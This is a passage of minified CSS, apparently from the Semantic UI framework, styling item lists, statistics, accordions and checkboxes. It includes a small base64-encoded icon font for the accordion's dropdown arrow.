auto;display:block;float:none;margin:0;padding:0;max-height:'';-webkit-align-self:top;-ms-flex-item-align:top;align-self:top}.ui.items>.item>.image>img{display:block;width:100%;height:auto;border-radius:.125rem;border:none}.ui.items>.item>.image:only-child>img{border-radius:0}.ui.items>.item>.content{display:block;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto;background:0 0;margin:0;padding:0;box-shadow:none;font-size:1em;border:none;border-radius:0}.ui.items>.item>.content:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item>.image+.content{min-width:0;width:auto;display:block;margin-left:0;-webkit-align-self:top;-ms-flex-item-align:top;align-self:top;padding-left:1.5em}.ui.items>.item>.content>.header{display:inline-block;margin:-.21425em 0 0;font-weight:700;color:rgba(0,0,0,.85)}.ui.items>.item>.content>.header:not(.ui){font-size:1.28571429em}.ui.items>.item [class*="left floated"]{float:left}.ui.items>.item [class*="right floated"]{float:right}.ui.items>.item .content img{-webkit-align-self:middle;-ms-flex-item-align:middle;align-self:middle;width:''}.ui.items>.item .avatar img,.ui.items>.item img.avatar{width:'';height:'';border-radius:500rem}.ui.items>.item>.content>.description{margin-top:.6em;max-width:auto;font-size:1em;line-height:1.4285em;color:rgba(0,0,0,.87)}.ui.items>.item>.content p{margin:0 0 .5em}.ui.items>.item>.content p:last-child{margin-bottom:0}.ui.items>.item .meta{margin:.5em 0;font-size:1em;line-height:1em;color:rgba(0,0,0,.6)}.ui.items>.item .meta *{margin-right:.3em}.ui.items>.item .meta :last-child{margin-right:0}.ui.items>.item .meta [class*="right floated"]{margin-right:0;margin-left:.3em}.ui.items>.item>.content a:not(.ui){color:'';-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content a:not(.ui):hover{color:''}.ui.items>.item>.content>a.header{color:rgba(0,0,0,.85)}.ui.items>.item>.content>a.header:hover{color:#1e70bf}.ui.items>.item .meta>a:not(.ui){color:rgba(0,0,0,.4)}.ui.items>.item .meta>a:not(.ui):hover{color:rgba(0,0,0,.87)}.ui.items>.item>.content .favorite.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content .favorite.icon:hover{opacity:1;color:#FFB70A}.ui.items>.item>.content .active.favorite.icon{color:#FFE623}.ui.items>.item>.content .like.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content .like.icon:hover{opacity:1;color:#FF2733}.ui.items>.item>.content .active.like.icon{color:#FF2733}.ui.items>.item .extra{display:block;position:relative;background:0 0;margin:.5rem 0 0;width:100%;padding:0;top:0;left:0;color:rgba(0,0,0,.4);box-shadow:none;-webkit-transition:color .1s ease;transition:color .1s ease;border-top:none}.ui.items>.item .extra>*{margin:.25rem .5rem .25rem 0}.ui.items>.item .extra>[class*="right floated"]{margin:.25rem 0 .25rem .5rem}.ui.items>.item .extra:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item>.image:not(.ui){width:175px}@media only screen and (min-width:768px) and (max-width:991px){.ui.items>.item{margin:1em 0}.ui.items>.item>.image:not(.ui){width:150px}.ui.items>.item>.image+.content{display:block;padding:0 0 0 1em}}@media only screen and (max-width:767px){.ui.items>.item{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin:2em 0}.ui.items>.item>.image{display:block;margin-left:auto;margin-right:auto}.ui.items>.item>.image,.ui.items>.item>.image>img{max-width:100%!important;width:auto!important;max-height:250px!important}.ui.items>.item>.image+.content{display:block;padding:1.5em 0 0}}.ui.items>.item>.image+[class*="top aligned"].content{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.ui.items>.item>.image+[class*="middle aligned"].content{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ui.items>.item>.image+[class*="bottom aligned"].content{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.ui.relaxed.items>.item{margin:1.5em 0}.ui[class*="very relaxed"].items>.item{margin:2em 0}.ui.divided.items>.item{border-top:1px solid rgba(34,36,38,.15);margin:0;padding:1em 0}.ui.divided.items>.item:first-child{border-top:none;margin-top:0!important;padding-top:0!important}.ui.divided.items>.item:last-child{margin-bottom:0!important;padding-bottom:0!important}.ui.relaxed.divided.items>.item{margin:0;padding:1.5em 0}.ui[class*="very relaxed"].divided.items>.item{margin:0;padding:2em 0}.ui.items a.item:hover,.ui.link.items>.item:hover{cursor:pointer}.ui.items a.item:hover .content .header,.ui.link.items>.item:hover .content .header{color:#1e70bf}.ui.items>.item{font-size:1em}.ui.statistic{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin:1em 0;max-width:auto}.ui.statistic+.ui.statistic{margin:0 0 0 1.5em}.ui.statistic:first-child{margin-top:0}.ui.statistic:last-child{margin-bottom:0}.ui.statistics{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.statistics>.statistic{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin:0 1.5em 2em;max-width:auto}.ui.statistics{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:1em -1.5em -2em}.ui.statistics:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.statistics:first-child{margin-top:0}.ui.statistics:last-child{margin-bottom:0}.ui.statistic>.value,.ui.statistics .statistic>.value{font-weight:400;line-height:1em;color:#1B1C1D;text-transform:uppercase;text-align:center}.ui.statistic>.label,.ui.statistics .statistic>.label{font-size:1em;font-weight:700;color:rgba(0,0,0,.87);text-transform:uppercase;text-align:center}.ui.statistic>.label~.value,.ui.statistic>.value~.label,.ui.statistics .statistic>.label~.value,.ui.statistics .statistic>.value~.label{margin-top:0}.ui.statistic>.value .icon,.ui.statistics .statistic>.value .icon{opacity:1;width:auto;margin:0}.ui.statistic>.text.value,.ui.statistics .statistic>.text.value{line-height:1em;min-height:2em;font-weight:700;text-align:center}.ui.statistic>.text.value+.label,.ui.statistics .statistic>.text.value+.label{text-align:center}.ui.statistic>.value img,.ui.statistics .statistic>.value img{max-height:3rem;vertical-align:baseline}.ui.ten.statistics{margin:0 0 -2em}.ui.ten.statistics .statistic{min-width:10%;margin:0 0 2em}.ui.nine.statistics{margin:0 0 -2em}.ui.nine.statistics .statistic{min-width:11.11111111%;margin:0 0 2em}.ui.eight.statistics{margin:0 0 -2em}.ui.eight.statistics .statistic{min-width:12.5%;margin:0 0 2em}.ui.seven.statistics{margin:0 0 -2em}.ui.seven.statistics .statistic{min-width:14.28571429%;margin:0 0 2em}.ui.six.statistics{margin:0 0 -2em}.ui.six.statistics .statistic{min-width:16.66666667%;margin:0 0 2em}.ui.five.statistics{margin:0 0 -2em}.ui.five.statistics .statistic{min-width:20%;margin:0 0 2em}.ui.four.statistics{margin:0 0 -2em}.ui.four.statistics .statistic{min-width:25%;margin:0 0 2em}.ui.three.statistics{margin:0 0 -2em}.ui.three.statistics .statistic{min-width:33.33333333%;margin:0 0 2em}.ui.two.statistics{margin:0 0 -2em}.ui.two.statistics .statistic{min-width:50%;margin:0 0 2em}.ui.one.statistics{margin:0 0 -2em}.ui.one.statistics .statistic{min-width:100%;margin:0 0 2em}.ui.horizontal.statistic{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.ui.horizontal.statistics{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin:0;max-width:none}.ui.horizontal.statistics .statistic{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;max-width:none;margin:1em 0}.ui.horizontal.statistic>.text.value,.ui.horizontal.statistics>.statistic>.text.value{min-height:0!important}.ui.horizontal.statistic>.value .icon,.ui.horizontal.statistics .statistic>.value .icon{width:1.18em}.ui.horizontal.statistic>.label,.ui.horizontal.statistics .statistic>.label{display:inline-block;vertical-align:middle;margin:0 0 0 .75em}.ui.red.statistic>.value,.ui.red.statistics .statistic>.value,.ui.statistics .red.statistic>.value{color:#DB2828}.ui.orange.statistic>.value,.ui.orange.statistics .statistic>.value,.ui.statistics .orange.statistic>.value{color:#F2711C}.ui.statistics .yellow.statistic>.value,.ui.yellow.statistic>.value,.ui.yellow.statistics .statistic>.value{color:#FBBD08}.ui.olive.statistic>.value,.ui.olive.statistics .statistic>.value,.ui.statistics .olive.statistic>.value{color:#B5CC18}.ui.green.statistic>.value,.ui.green.statistics .statistic>.value,.ui.statistics .green.statistic>.value{color:#21BA45}.ui.statistics .teal.statistic>.value,.ui.teal.statistic>.value,.ui.teal.statistics .statistic>.value{color:#00B5AD}.ui.blue.statistic>.value,.ui.blue.statistics .statistic>.value,.ui.statistics .blue.statistic>.value{color:#2185D0}.ui.statistics .violet.statistic>.value,.ui.violet.statistic>.value,.ui.violet.statistics .statistic>.value{color:#6435C9}.ui.purple.statistic>.value,.ui.purple.statistics .statistic>.value,.ui.statistics .purple.statistic>.value{color:#A333C8}.ui.pink.statistic>.value,.ui.pink.statistics .statistic>.value,.ui.statistics .pink.statistic>.value{color:#E03997}.ui.brown.statistic>.value,.ui.brown.statistics .statistic>.value,.ui.statistics .brown.statistic>.value{color:#A5673F}.ui.grey.statistic>.value,.ui.grey.statistics .statistic>.value,.ui.statistics .grey.statistic>.value{color:#767676}.ui.inverted.statistic .value,.ui.inverted.statistics .statistic>.value{color:#FFF}.ui.inverted.statistic .label,.ui.inverted.statistics .statistic>.label{color:rgba(255,255,255,.9)}.ui.inverted.red.statistic>.value,.ui.inverted.red.statistics .statistic>.value,.ui.statistics .inverted.red.statistic>.value{color:#FF695E}.ui.inverted.orange.statistic>.value,.ui.inverted.orange.statistics .statistic>.value,.ui.statistics .inverted.orange.statistic>.value{color:#FF851B}.ui.inverted.yellow.statistic>.value,.ui.inverted.yellow.statistics .statistic>.value,.ui.statistics .inverted.yellow.statistic>.value{color:#FFE21F}.ui.inverted.olive.statistic>.value,.ui.inverted.olive.statistics .statistic>.value,.ui.statistics .inverted.olive.statistic>.value{color:#D9E778}.ui.inverted.green.statistic>.value,.ui.inverted.green.statistics .statistic>.value,.ui.statistics .inverted.green.statistic>.value{color:#2ECC40}.ui.inverted.teal.statistic>.value,.ui.inverted.teal.statistics .statistic>.value,.ui.statistics .inverted.teal.statistic>.value{color:#6DFFFF}.ui.inverted.blue.statistic>.value,.ui.inverted.blue.statistics .statistic>.value,.ui.statistics .inverted.blue.statistic>.value{color:#54C8FF}.ui.inverted.violet.statistic>.value,.ui.inverted.violet.statistics .statistic>.value,.ui.statistics .inverted.violet.statistic>.value{color:#A291FB}.ui.inverted.purple.statistic>.value,.ui.inverted.purple.statistics .statistic>.value,.ui.statistics .inverted.purple.statistic>.value{color:#DC73FF}.ui.inverted.pink.statistic>.value,.ui.inverted.pink.statistics .statistic>.value,.ui.statistics .inverted.pink.statistic>.value{color:#FF8EDF}.ui.inverted.brown.statistic>.value,.ui.inverted.brown.statistics .statistic>.value,.ui.statistics .inverted.brown.statistic>.value{color:#D67C1C}.ui.inverted.grey.statistic>.value,.ui.inverted.grey.statistics .statistic>.value,.ui.statistics .inverted.grey.statistic>.value{color:#DCDDDE}.ui[class*="left floated"].statistic{float:left;margin:0 2em 1em 0}.ui[class*="right floated"].statistic{float:right;margin:0 0 1em 2em}.ui.floated.statistic:last-child{margin-bottom:0}.ui.mini.horizontal.statistic>.value,.ui.mini.horizontal.statistics .statistic>.value,.ui.mini.statistic>.value,.ui.mini.statistics .statistic>.value{font-size:1.5rem!important}.ui.mini.statistic>.text.value,.ui.mini.statistics .statistic>.text.value{font-size:1rem!important}.ui.tiny.horizontal.statistic>.value,.ui.tiny.horizontal.statistics .statistic>.value,.ui.tiny.statistic>.value,.ui.tiny.statistics .statistic>.value{font-size:2rem!important}.ui.tiny.statistic>.text.value,.ui.tiny.statistics .statistic>.text.value{font-size:1rem!important}.ui.small.statistic>.value,.ui.small.statistics .statistic>.value{font-size:3rem!important}.ui.small.horizontal.statistic>.value,.ui.small.horizontal.statistics .statistic>.value{font-size:2rem!important}.ui.small.statistic>.text.value,.ui.small.statistics .statistic>.text.value{font-size:1rem!important}.ui.statistic>.value,.ui.statistics .statistic>.value{font-size:4rem!important}.ui.horizontal.statistic>.value,.ui.horizontal.statistics .statistic>.value{display:inline-block;vertical-align:middle;font-size:3rem!important}.ui.statistic>.text.value,.ui.statistics .statistic>.text.value{font-size:2rem!important}.ui.large.statistic>.value,.ui.large.statistics .statistic>.value{font-size:5rem!important}.ui.large.horizontal.statistic>.value,.ui.large.horizontal.statistics .statistic>.value{font-size:4rem!important}.ui.large.statistic>.text.value,.ui.large.statistics .statistic>.text.value{font-size:2.5rem!important}.ui.huge.statistic>.value,.ui.huge.statistics .statistic>.value{font-size:6rem!important}.ui.huge.horizontal.statistic>.value,.ui.huge.horizontal.statistics .statistic>.value{font-size:5rem!important}.ui.huge.statistic>.text.value,.ui.huge.statistics .statistic>.text.value{font-size:2.5rem!important}.ui.accordion,.ui.accordion .accordion{max-width:100%}.ui.accordion .accordion{margin:1em 0 0;padding:0}.ui.accordion .accordion .title,.ui.accordion .title{cursor:pointer}.ui.accordion .title:not(.ui){padding:.5em 0;font-size:1em;color:rgba(0,0,0,.87)}.ui.accordion .accordion .title~.content,.ui.accordion .title~.content{display:none}.ui.accordion:not(.styled) .accordion .title~.content:not(.ui),.ui.accordion:not(.styled) .title~.content:not(.ui){margin:'';padding:.5em 0 1em}.ui.accordion:not(.styled) .title~.content:not(.ui):last-child{padding-bottom:0}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{display:inline-block;float:none;opacity:1;width:1.25em;height:1em;margin:0 .25rem 0 0;padding:0;font-size:1em;-webkit-transition:opacity .1s ease,-webkit-transform .1s ease;transition:opacity .1s ease,-webkit-transform .1s ease;transition:transform .1s ease,opacity .1s ease;transition:transform .1s ease,opacity .1s ease,-webkit-transform .1s ease;vertical-align:baseline;-webkit-transform:none;-ms-transform:none;transform:none}.ui.accordion.menu .item .title{display:block;padding:0}.ui.accordion.menu .item .title>.dropdown.icon{float:right;margin:.21425em 0 0 1em;-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.ui.accordion .ui.header .dropdown.icon{font-size:1em;margin:0 .25rem 0 0}.ui.accordion .accordion .active.title .dropdown.icon,.ui.accordion .active.title .dropdown.icon,.ui.accordion.menu .item .active.title>.dropdown.icon{-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.ui.styled.accordion{width:600px}.ui.styled.accordion,.ui.styled.accordion .accordion{border-radius:.28571429rem;background:#FFF;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15)}.ui.styled.accordion .accordion .title,.ui.styled.accordion .title{margin:0;padding:.75em 1em;color:rgba(0,0,0,.4);font-weight:700;border-top:1px solid rgba(34,36,38,.15);-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.styled.accordion .accordion .title:first-child,.ui.styled.accordion>.title:first-child{border-top:none}.ui.styled.accordion .accordion .content,.ui.styled.accordion .content{margin:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .content{padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover,.ui.styled.accordion .active.title,.ui.styled.accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.accordion .accordion .active.content,.ui.accordion .active.content{display:block}.ui.fluid.accordion,.ui.fluid.accordion .accordion{width:100%}.ui.inverted.accordion .title:not(.ui){color:rgba(255,255,255,.9)}@font-face{font-family:Accordion;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfOIKAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zryj6HgAAAFwAAAAyGhlYWT/0IhHAAACOAAAADZoaGVhApkB5wAAAnAAAAAkaG10eAJuABIAAAKUAAAAGGxvY2EAjABWAAACrAAAAA5tYXhwAAgAFgAAArwAAAAgbmFtZfC1n04AAALcAAABPHBvc3QAAwAAAAAEGAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQASAEkAtwFuABMAADc0PwE2FzYXFh0BFAcGJwYvASY1EgaABQgHBQYGBQcIBYAG2wcGfwcBAQcECf8IBAcBAQd/BgYAAAAAAQAAAEkApQFuABMAADcRNDc2MzIfARYVFA8BBiMiJyY1AAUGBwgFgAYGgAUIBwYFWwEACAUGBoAFCAcFgAYGBQcAAAABAAAAAQAAqWYls18PPPUACwIAAAAAAM/9o+4AAAAAz/2j7gAAAAAAtwFuAAAACAACAAAAAAAAAAEAAAHg/+AAAAIAAAAAAAC3AAEAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAQAAAAC3ABIAtwAAAAAAAAAKABQAHgBCAGQAAAABAAAABgAUAAEAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAASwAAoAAAAABGgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAS0AAAEtFpovuE9TLzIAAAIkAAAAYAAAAGAIIweQY21hcAAAAoQAAABMAAAATA984gpnYXNwAAAC0AAAAAgAAAAIAAAAEGhlYWQAAALYAAAANgAAADb/0IhHaGhlYQAAAxAAAAAkAAAAJAKZAedobXR4AAADNAAAABgAAAAYAm4AEm1heHAAAANMAAAABgAAAAYABlAAbmFtZQAAA1QAAAE8AAABPPC1n05wb3N0AAAEkAAAACAAAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLa/iU+HQFHQAAAHkPHQAAAH4RHQAAAAkdAAABJBIABwEBBw0PERQZHnJhdGluZ3JhdGluZ3UwdTF1MjB1RjBEOXVGMERBAAACAYkABAAGAQEEBwoNVp38lA78lA78lA77lA773Z33bxWLkI2Qj44I9xT3FAWOj5CNkIuQi4+JjoePiI2Gi4YIi/uUBYuGiYeHiIiHh4mGi4aLho2Ijwj7FPcUBYeOiY+LkAgO+92L5hWL95QFi5CNkI6Oj4+PjZCLkIuQiY6HCPcU+xQFj4iNhouGi4aJh4eICPsU+xQFiIeGiYaLhouHjYePiI6Jj4uQCA74lBT4lBWLDAoAAAAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAADfYOJZfDzz1AAsCAAAAAADP/aPuAAAAAM/9o+4AAAAAALcBbgAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAAAtwABAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAEAAAAAtwASALcAAAAAUAAABgAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{font-family:Accordion;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.accordion .accordion .title .dropdown.icon:before,.ui.accordion .title .dropdown.icon:before{content:'\f0da'}.ui.checkbox{position:relative;display:inline-block;-webkit-backface-visibility:hidden;backface-visibility:hidden;outline:0;vertical-align:baseline;font-style:normal;min-height:17px;font-size:1rem;line-height:17px;min-width:17px}.ui.checkbox input[type=checkbox],.ui.checkbox input[type=radio]{cursor:pointer;position:absolute;top:0;left:0;opacity:0!important;outline:0;z-index:3;width:17px;height:17px}.ui.checkbox .box,.ui.checkbox label{cursor:auto;position:relative;display:block;padding-left:1.85714em;outline:0;font-size:1em}.ui.checkbox .box:before,.ui.checkbox label:before{position:absolute;top:0;left:0;width:17px;height:17px;content:'';background:#FFF;border-radius:.21428571rem;-webkit-transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;border:1px solid #D4D4D5}.ui.checkbox .box:after,.ui.checkbox label:after{position:absolute;font-size:14px;top:0;left:0;width:17px;height:17px;text-align:center;opacity:0;color:rgba(0,0,0,.87);-webkit-transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease,-webkit-transform .1s ease;font-family:Checkbox}.ui.checkbox label,.ui.checkbox+label{color:rgba(0,0,0,.87);-webkit-transition:color .1s ease;transition:color .1s ease}.ui.checkbox+label{vertical-align:middle}.ui.checkbox .box:hover::before,.ui.checkbox label:hover::before{background:#FFF;border-color:rgba(34,36,38,.35)}.ui.checkbox label:hover,.ui.checkbox+label:hover{color:rgba(0,0,0,.8)}.ui.checkbox .box:active::before,.ui.checkbox label:active::before{background:#F9FAFB;border-color:rgba(34,36,38,.35)}.ui.checkbox .box:active::after,.ui.checkbox input:active~label,.ui.checkbox label:active::after{color:rgba(0,0,0,.95)}.ui.checkbox input:focus~.box:before,.ui.checkbox input:focus~label:before{background:#FFF;border-color:#96C8DA}.ui.checkbox input:focus~.box:after,.ui.checkbox input:focus~label,.ui.checkbox input:focus~label:after{color:rgba(0,0,0,.95)}.ui.checkbox input:checked~.box:before,.ui.checkbox input:checked~label:before{background:#FFF;border-color:rgba(34,36,38,.35)}.ui.checkbox input:checked~.box:after,.ui.checkbox input:checked~label:after{opacity:1;color:rgba(0,0,0,.95)}.ui.checkbox input:not([type=radio]):indeterminate~.box:before,.ui.checkbox input:not([type=radio]):indeterminate~label:before{background:#FFF;border-color:rgba(34,36,38,.35)}.ui.checkbox input:not([type=radio]):indeterminate~.box:after,.ui.checkbox input:not([type=radio]):indeterminate~label:after{opacity:1;color:rgba(0,0,0,.95)}.ui.checkbox input:checked:focus~.box:before,.ui.checkbox input:checked:focus~label:before,.ui.checkbox input:not([type=radio]):indeterminate:focus~.box:before,.ui.checkbox input:not([type=radio]):indeterminate:focus~label:before{background:#FFF;border-color:#96C8DA}.ui.checkbox input:checked:focus~.box:after,.ui.checkbox input:checked:focus~label:after,.ui.checkbox input:not([type=radio]):indeterminate:focus~.box:after,.ui.checkbox input:not([type=radio]):indeterminate:focus~label:after{color:rgba(0,0,0,.95)}.ui.read-only.checkbox,.ui.read-only.checkbox label{cursor:default}.ui.checkbox input[disabled]~.box:after,.ui.checkbox input[disabled]~label,.ui.disabled.checkbox .box:after,.ui.disabled.checkbox label{cursor:default!important;opacity:.5;color:#000}.ui.checkbox input.hidden{z-index:-1}.ui.checkbox input.hidden+label{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ui.radio.checkbox{min-height:15px}.ui.radio.checkbox .box,.ui.radio.checkbox label{padding-left:1.85714em}.ui.radio.checkbox .box:before,.ui.radio.checkbox label:before{content:'';-webkit-transform:none;-ms-transform:none;transform:none;width:15px;height:15px;border-radius:500rem;top:1px;left:0}.ui.radio.checkbox .box:after,.ui.radio.checkbox label:after{border:none;content:''!important;line-height:15px;top:1px;left:0;width:15px;height:15px;border-radius:500rem;-webkit-transform:scale(.46666667);-ms-transform:scale(.46666667);transform:scale(.46666667);background-color:rgba(0,0,0,.87)}.ui.radio.checkbox input:focus~.box:before,.ui.radio.checkbox input:focus~label:before{background-color:#FFF}.ui.radio.checkbox input:focus~.box:after,.ui.radio.checkbox input:focus~label:after{background-color:rgba(0,0,0,.95)}.ui.radio.checkbox input:indeterminate~.box:after,.ui.radio.checkbox input:indeterminate~label:after{opacity:0}.ui.radio.checkbox input:checked~.box:before,.ui.radio.checkbox input:checked~label:before{background-color:#FFF}.ui.radio.checkbox input:checked~.box:after,.ui.radio.checkbox input:checked~label:after{background-color:rgba(0,0,0,.95)}.ui.radio.checkbox input:focus:checked~.box:before,.ui.radio.checkbox input:focus:checked~label:before{background-color:#FFF}.ui.radio.checkbox input:focus:checked~.box:after,.ui.radio.checkbox input:focus:checked~label:after{background-color:rgba(0,0,0,.95)}.ui.slider.checkbox{min-height:1.25rem}.ui.slider.checkbox input{width:3.5rem;height:1.25rem}.ui.slider.checkbox .box,.ui.slider.checkbox label{padding-left:4.5rem;line-height:1rem;color:rgba(0,0,0,.4)}.ui.slider.checkbox .box:before,.ui.slider.checkbox label:before{display:block;position:absolute;content:'';border:none!important;left:0;z-index:1;top:.4rem;background-color:rgba(0,0,0,.05);width:3.5rem;height:.21428571rem;-webkit-transform:none;-ms-transform:none;transform:none;border-radius:500rem;-webkit-transition:background .3s ease;transition:background .3s ease}.ui.slider.checkbox .box:after,.ui.slider.checkbox label:after{background:-webkit-linear-gradient(transparent,rgba(0,0,0,.05)) #FFF;background:linear-gradient(transparent,rgba(0,0,0,.05)) #FFF;position:absolute;content:''!important;opacity:1;z-index:2;border:none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;width:1.5rem;height:1.5rem;top:-.25rem;left:0;-webkit-transform:none;-ms-transform:none;transform:none;border-radius:500rem;-webkit-transition:left .3s ease;transition:left .3s ease}.ui.slider.checkbox input:focus~.box:before,.ui.slider.checkbox input:focus~label:before{background-color:rgba(0,0,0,.15);border:none}.ui.slider.checkbox .box:hover,.ui.slider.checkbox label:hover{color:rgba(0,0,0,.8)}.ui.slider.checkbox .box:hover::before,.ui.slider.checkbox label:hover::before{background:rgba(0,0,0,.15)}.ui.slider.checkbox input:checked~.box,.ui.slider.checkbox input:checked~label{color:rgba(0,0,0,.95)!important}.ui.slider.checkbox input:checked~.box:before,.ui.slider.checkbox input:checked~label:before{background-color:#545454!important}.ui.slider.checkbox input:checked~.box:after,.ui.slider.checkbox input:checked~label:after{left:2rem}.ui.slider.checkbox input:focus:checked~.box,.ui.slider.checkbox input:focus:checked~label{color:rgba(0,0,0,.95)!important}.ui.slider.checkbox 